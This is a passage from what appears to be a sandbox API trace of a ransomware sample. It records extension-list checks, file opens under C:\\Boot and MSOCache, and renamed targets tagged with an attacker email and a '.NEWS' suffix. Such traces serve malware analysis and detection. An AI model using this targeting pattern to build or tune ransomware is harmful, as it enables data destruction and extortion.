users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0072.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.638] lstrlenW (lpString=".doc") returned 4 [0072.638] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0072.638] lstrlenW (lpString=".docx") returned 5 [0072.638] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0072.638] lstrlenW (lpString=".pdf") returned 4 [0072.638] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0072.638] lstrlenW (lpString=".xls") returned 4 [0072.638] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0072.638] lstrlenW (lpString=".xlsx") returned 5 [0072.638] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0072.638] lstrlenW (lpString=".ppt") returned 4 [0072.638] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0072.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.638] lstrlenW (lpString=".zip") returned 4 [0072.638] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0072.638] lstrlenW (lpString=".rar") returned 4 [0072.638] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0072.638] lstrlenW (lpString=".bz2") returned 4 [0072.638] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0072.638] lstrlenW (lpString=".7z") returned 3 [0072.638] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0072.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.638] lstrlenW (lpString=".dbf") returned 4 [0072.638] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0072.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.639] lstrlenW (lpString=".1cd") returned 4 [0072.639] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0072.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.639] lstrlenW (lpString=".jpg") returned 4 [0072.639] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0072.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.639] lstrlenW (lpString=".doc") returned 4 [0072.639] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0072.639] lstrlenW (lpString=".docx") returned 5 [0072.639] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0072.639] lstrlenW (lpString=".pdf") returned 4 [0072.639] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0072.639] lstrlenW (lpString=".xls") returned 4 [0072.639] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0072.639] lstrlenW (lpString=".xlsx") returned 5 [0072.639] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0072.639] lstrlenW (lpString=".ppt") returned 4 [0072.639] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0072.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.639] lstrlenW (lpString=".zip") returned 4 [0072.639] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0072.639] lstrlenW (lpString=".rar") returned 4 [0072.639] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0072.640] lstrlenW (lpString=".bz2") returned 4 [0072.640] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0072.640] lstrlenW (lpString=".7z") returned 3 [0072.640] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0072.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.640] lstrlenW (lpString=".dbf") returned 4 [0072.640] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0072.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.640] lstrlenW (lpString=".1cd") returned 4 [0072.640] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0072.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0072.640] lstrlenW (lpString=".jpg") returned 4 [0072.640] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0072.640] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0072.640] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0072.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x68c [0044.105] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36412c8 [0044.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36512d0 [0044.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b40 [0044.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x61a278 [0044.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b58 [0044.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3b70020 [0044.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b70 [0044.107] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610b70, Size=0x20) returned 0x35f0138 [0044.107] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b70 [0044.108] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610b70, Size=0x20) returned 0x35f0110 [0044.108] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0044.108] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0044.108] Wow64DisableWow64FsRedirection (in: OldValue=0x337ff58 | out: OldValue=0x337ff58*=0x0) returned 1 [0044.108] lstrlenW (lpString="kernel32.dll") returned 12 [0044.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0138 | out: hHeap=0x5c0000) returned 1 [0044.108] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0044.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0110 | out: hHeap=0x5c0000) returned 1 [0044.108] Sleep (dwMilliseconds=0x64) [0044.424] Sleep (dwMilliseconds=0x64) [0044.655] lstrlenW (lpString="BCD") returned 3 [0044.655] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.686] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.686] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.686] lstrlenW (lpString=".doc") returned 4 [0044.686] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString=".docx") returned 5 [0044.687] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0044.687] lstrlenW (lpString=".pdf") returned 4 [0044.687] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString=".xls") returned 4 [0044.687] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString=".xlsx") returned 5 [0044.687] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0044.687] lstrlenW (lpString=".ppt") returned 4 [0044.687] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.687] lstrlenW (lpString=".zip") returned 4 [0044.687] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString=".rar") returned 4 [0044.687] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString=".bz2") returned 4 [0044.687] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0044.687] lstrlenW (lpString=".7z") returned 3 [0044.687] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0044.687] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.688] lstrlenW (lpString=".dbf") returned 4 [0044.688] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0044.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.688] lstrlenW (lpString=".1cd") returned 4 [0044.688] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0044.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.688] lstrlenW (lpString=".jpg") returned 4 [0044.688] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0044.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.688] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.688] lstrlenW (lpString=".doc") returned 4 [0044.688] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0044.688] lstrlenW (lpString=".docx") returned 5 [0044.688] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0044.688] lstrlenW (lpString=".pdf") returned 4 [0044.688] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0044.688] lstrlenW (lpString=".xls") returned 4 [0044.688] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0044.689] lstrlenW (lpString=".xlsx") returned 5 [0044.689] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0044.689] lstrlenW (lpString=".ppt") returned 4 [0044.689] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0044.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.689] lstrlenW (lpString=".zip") returned 4 [0044.689] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0044.689] lstrlenW (lpString=".rar") returned 4 [0044.689] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0044.689] lstrlenW (lpString=".bz2") returned 4 [0044.689] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0044.689] lstrlenW (lpString=".7z") returned 3 [0044.689] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0044.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.689] lstrlenW (lpString=".dbf") returned 4 [0044.689] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0044.689] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.689] lstrlenW (lpString=".1cd") returned 4 [0044.689] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0044.690] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0044.690] lstrlenW (lpString=".jpg") returned 4 [0044.690] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0044.690] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0044.690] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0044.690] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.691] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=89168) returned 1 [0044.691] CloseHandle (hObject=0x174) returned 1 [0044.691] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0044.691] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.691] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.691] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.691] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.691] lstrlenW (lpString=".doc") returned 4 [0044.691] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.692] lstrlenW (lpString=".docx") returned 5 [0044.692] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.692] lstrlenW (lpString=".pdf") returned 4 [0044.692] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.692] lstrlenW (lpString=".xls") returned 4 [0044.692] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.692] lstrlenW (lpString=".xlsx") returned 5 [0044.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.692] lstrlenW (lpString=".ppt") returned 4 [0044.692] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.692] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.692] lstrlenW (lpString=".zip") returned 4 [0044.692] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.692] lstrlenW (lpString=".rar") returned 4 [0044.692] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.692] lstrlenW (lpString=".bz2") returned 4 [0044.692] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.692] lstrlenW (lpString=".7z") returned 3 [0044.693] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.693] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.693] lstrlenW (lpString=".dbf") returned 4 [0044.693] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.693] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.693] lstrlenW (lpString=".1cd") returned 4 [0044.693] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.693] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.693] lstrlenW (lpString=".jpg") returned 4 [0044.693] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.693] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.693] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.693] lstrlenW (lpString=".doc") returned 4 [0044.693] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.693] lstrlenW (lpString=".docx") returned 5 [0044.693] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.693] lstrlenW (lpString=".pdf") returned 4 [0044.694] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.694] lstrlenW (lpString=".xls") returned 4 [0044.694] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.694] lstrlenW (lpString=".xlsx") returned 5 [0044.694] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.694] lstrlenW (lpString=".ppt") returned 4 [0044.694] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.694] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.694] lstrlenW (lpString=".zip") returned 4 [0044.694] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.694] lstrlenW (lpString=".rar") returned 4 [0044.694] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.694] lstrlenW (lpString=".bz2") returned 4 [0044.694] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.694] lstrlenW (lpString=".7z") returned 3 [0044.694] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.694] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.694] lstrlenW (lpString=".dbf") returned 4 [0044.694] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.695] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.695] lstrlenW (lpString=".1cd") returned 4 [0044.695] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.695] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0044.695] lstrlenW (lpString=".jpg") returned 4 [0044.695] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.695] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0044.695] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0044.695] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.696] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=87616) returned 1 [0044.696] CloseHandle (hObject=0x174) returned 1 [0044.696] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0044.696] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.696] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.696] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.696] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.696] lstrlenW (lpString=".doc") returned 4 [0044.696] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.696] lstrlenW (lpString=".docx") returned 5 [0044.696] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.697] lstrlenW (lpString=".pdf") returned 4 [0044.697] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.697] lstrlenW (lpString=".xls") returned 4 [0044.697] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.697] lstrlenW (lpString=".xlsx") returned 5 [0044.697] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.697] lstrlenW (lpString=".ppt") returned 4 [0044.697] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.697] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.697] lstrlenW (lpString=".zip") returned 4 [0044.697] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.697] lstrlenW (lpString=".rar") returned 4 [0044.697] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.697] lstrlenW (lpString=".bz2") returned 4 [0044.697] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.697] lstrlenW (lpString=".7z") returned 3 [0044.697] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.697] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.697] lstrlenW (lpString=".dbf") returned 4 [0044.698] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.698] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.698] lstrlenW (lpString=".1cd") returned 4 [0044.698] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.698] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.698] lstrlenW (lpString=".jpg") returned 4 [0044.698] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.698] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.698] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.698] lstrlenW (lpString=".doc") returned 4 [0044.698] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.698] lstrlenW (lpString=".docx") returned 5 [0044.698] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.698] lstrlenW (lpString=".pdf") returned 4 [0044.698] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.698] lstrlenW (lpString=".xls") returned 4 [0044.698] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.698] lstrlenW (lpString=".xlsx") returned 5 [0044.699] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.699] lstrlenW (lpString=".ppt") returned 4 [0044.699] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.699] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.699] lstrlenW (lpString=".zip") returned 4 [0044.699] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.699] lstrlenW (lpString=".rar") returned 4 [0044.699] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.699] lstrlenW (lpString=".bz2") returned 4 [0044.699] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.699] lstrlenW (lpString=".7z") returned 3 [0044.699] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.699] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.699] lstrlenW (lpString=".dbf") returned 4 [0044.699] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.699] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.699] lstrlenW (lpString=".1cd") returned 4 [0044.699] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.699] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0044.700] lstrlenW (lpString=".jpg") returned 4 [0044.700] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.700] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0044.700] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0044.700] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.700] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=91712) returned 1 [0044.700] CloseHandle (hObject=0x174) returned 1 [0044.701] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0044.701] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.701] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.701] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.701] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.701] lstrlenW (lpString=".doc") returned 4 [0044.701] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.701] lstrlenW (lpString=".docx") returned 5 [0044.701] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.701] lstrlenW (lpString=".pdf") returned 4 [0044.701] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.701] lstrlenW (lpString=".xls") returned 4 [0044.701] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.701] lstrlenW (lpString=".xlsx") returned 5 [0044.701] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.701] lstrlenW (lpString=".ppt") returned 4 [0044.702] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.702] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.702] lstrlenW (lpString=".zip") returned 4 [0044.702] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.702] lstrlenW (lpString=".rar") returned 4 [0044.702] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.702] lstrlenW (lpString=".bz2") returned 4 [0044.702] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.702] lstrlenW (lpString=".7z") returned 3 [0044.702] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.702] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.702] lstrlenW (lpString=".dbf") returned 4 [0044.702] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.702] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.702] lstrlenW (lpString=".1cd") returned 4 [0044.702] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.702] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.702] lstrlenW (lpString=".jpg") returned 4 [0044.702] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.703] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.703] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.703] lstrlenW (lpString=".doc") returned 4 [0044.703] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.703] lstrlenW (lpString=".docx") returned 5 [0044.703] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.703] lstrlenW (lpString=".pdf") returned 4 [0044.703] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.703] lstrlenW (lpString=".xls") returned 4 [0044.703] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.703] lstrlenW (lpString=".xlsx") returned 5 [0044.703] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.703] lstrlenW (lpString=".ppt") returned 4 [0044.703] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.703] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.703] lstrlenW (lpString=".zip") returned 4 [0044.703] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.703] lstrlenW (lpString=".rar") returned 4 [0044.703] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.703] lstrlenW (lpString=".bz2") returned 4 [0044.703] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.704] lstrlenW (lpString=".7z") returned 3 [0044.704] lstrcmpiW (lpString1=".7z", 